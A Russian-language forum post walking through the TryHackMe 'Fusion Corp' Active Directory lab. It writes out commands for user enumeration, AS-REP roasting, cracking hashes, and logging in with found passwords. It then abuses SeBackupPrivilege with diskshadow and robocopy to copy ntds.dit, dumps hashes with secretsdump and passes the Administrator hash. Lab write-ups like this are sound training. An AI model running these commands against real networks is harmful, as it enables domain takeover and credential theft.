Привет форум!
Предисловие
Давно мы с вами не виделись! На этот раз попробуем другую площадку, известную для всех новичков -
TryHackMe!
В этой лаборатории мы разберём Hard машину под названием -
Fusion Corp, найдем способ получить пользовательские хэши и неменее интересный способ повышения привилегий до Администратора через групповые привилегии!
Приступим!
Данные
Задача: Скомпрометировать машину на Windows (Active Directory) и забрать два флага user.txt и root.txt.
Основная рабочая машина:
Kali Linux 2022.1
IP адрес удаленной машины -
10.10.218.247
IP адрес основной машины -
10.8.57.55
Начальная разведка и сканирование портов
Запустим Nmap с параметрами
-sC и
-sV для сканирования нашего хоста:
Код:
nmap -sC -sV 10.10.125.118
Видим доменное имя -
fusion.corp, добавим его в
/etc/hosts.
Из интересных портов и служб на них можем приметить сразу несколько:
- 80/tcp - HTTP - (Microsoft IIS httpd 10.0)
- 88/tcp - Kerberos (Можно попробовать метод kerberoasting для найденных пользователей)
- 445/tcp - Samba - (Enum4linux в помощь и перебор сетевых шар)
- 3268/tcp - LDAP - (Есть вариант провести его разведку)
- 3389/tcp - RDP - (Вход на удаленный рабочий стол)
Пойдем более лёгким путем, для начала попробуем собрать пользователей и попробуем реализовать атаку на AS_REP кербероса.
Попробуем использовать уже известную нам утилиту - Enum4linux для сбора информации о машине.
Код:
enum4linux -a 10.10.125.118
Но к сожалению, наш инструмент не смог справиться из-за недостатка привилегий на сервере.
Тогда как мы знаем что у нас открыт 80 порт - HTTP, зайдем на веб-сервер и посмотрим интересную информацию уже там!
Нас встречает довольно красивый по дизайну сайт, спустимся ниже...
И здесь мы найдем сотрудников этой корпорации.
Конечно мы можем записать их в файл, а потом сгенерировать из них словарь для брута, но поищем что-нибудь поинтереснее, допустим - директории и файлы на сервере)
Запустим наш - Dirsearch и посмотрим его вывод.
Код:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://10.10.125.118/
И сразу же видим директорию -
/backup/
Давайте перейдем туда и посмотрим какие файлы содержит эта папка...
Здесь лежит файл, а скорее таблица с пользователями (сотрудниками) этой компании, давайте скачаем его и посмотрим его содержимое.
Здесь мы видим список пользователей и их никнеймы, теперь давайте скопируем их ники в файл и проверим их валидность в kerbrute.
Код:
./kerbrute userenum -d fusion.corp --dc fusion.corp users.txt
Здесь мы видим только одного пользователя -
Larry Parker (
lparker)
Получение доступа к пользователям
Теперь нам стоит проверить его на уязвимость, подставим файл с пользователями в модуль impacket'а - GetNPUsers:
Код:
impacket-GetNPUsers fusion.corp/ -dc-ip 10.10.125.118 -usersfile users.txt
Есть! Мы получили хэш-пароль пользователя - lparker.
Сохраняем его в файл и брутим с помощью -
JohnTheRipper.
Спустя считанные секунды мы получили его креды -
lparker:!!abbylvzsvs2k6!
Попробуем зайти через
Evil-WinRM на машину нашего пользователя...
Код:
evil-winrm -i 10.10.125.118 -u lparker -p '!!abbylvzsvs2k6!'
Есть! Мы в системе!
Получение Администратора
Далее наши шаги могли бы начинаться с чего-то более простого, например загрузки сюда
WinPeas или открытие
Meterpreter сессии для последующей подгрузки модулей...
Но для начала проверим более простые способы, может пароль скрывается в информации
или наш пользователь добавлен в интересные для наших целей группы.
Давайте-же проверим
Код:
net user Administrator
И только как я "напал" net user'ом на пользователя -
jmurphy, я получил его пароль в комментарии к его аккаунту.
Итак, мы нашли ещё одни креды -
jmurphy:u8WC3!kLsgw=#bRY.
Теперь зайдем уже на него с Evil-WinRM.
Код:
evil-winrm -i 10.10.125.118 -u jmurphy -p 'u8WC3!kLsgw=#bRY'
Получилось! Мы jmurphy! Заберем наш флаг в C:\Users\jmurphy\Desktop\flag.txt
Далее стоит проверить наши права и локальные группы в которых мы состоим, в этом нам поможет команда
, а именно её аргумент
.
Среди этого большого куска информации, мы можем обнаружить привилегию на создание системных бэкапов -
SeBackupPrivilege.
Немного погуглив я наткнулся на статью - в которой говорится про повышение прав из-за этой привилегии.
Давайте попробуем реализовать это на нашей машине
Я буду использовать -
Метод №1 - Disk Shadow+ Robocopy.
Вкратце про него можно сказать так, Disk Shadow создает бэкап на отдельный диск и скачивает туда базу -
ntds.dit.
Далее Robocopy копирует её, а после можно скачать себе на локальную машину. Приступим!
Первое что нужно сделать, это создать скрипт на своей машине, чтобы Disk Shadow выполнил его, содержимое скрипта -
:
Код:
Код:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
Далее скачиваем его на нашу уязвимую машину, с помощью встроенной функции Evil-WinRM'а -
Код:
upload back_script.txt
Далее запускаем скрипт:
Код:
diskshadow /s back_script.txt
Бэкап был успешно создан и перемещен на диск
E:\
Теперь
с папки
скопируем базу ntds.dit.
Код:
robocopy /b E:\Windows\ntds . ntds.dit
Далее сохраняем его в реестре:
Код:
reg save hklm\system C:\Windows\temp\system
Теперь смотрим файлы и видим два заветных файла:
Скачиваем их через фичу от Evil-WinRM под названием -
Далее после скачивания, мы можем достать хэши паролей пользователей с помощью impacket-secretsdump:
Код:
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Ура! Мы смогли достать хэш-пароль Администратора, теперь нам осталось подставить его в аргумент
у Evil-WinRM и зайти в админа:
Код:
evil-winrm -i 10.10.218.247 -u Administrator -H '9653b02d945329c7270525c4c2a69c67'
Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду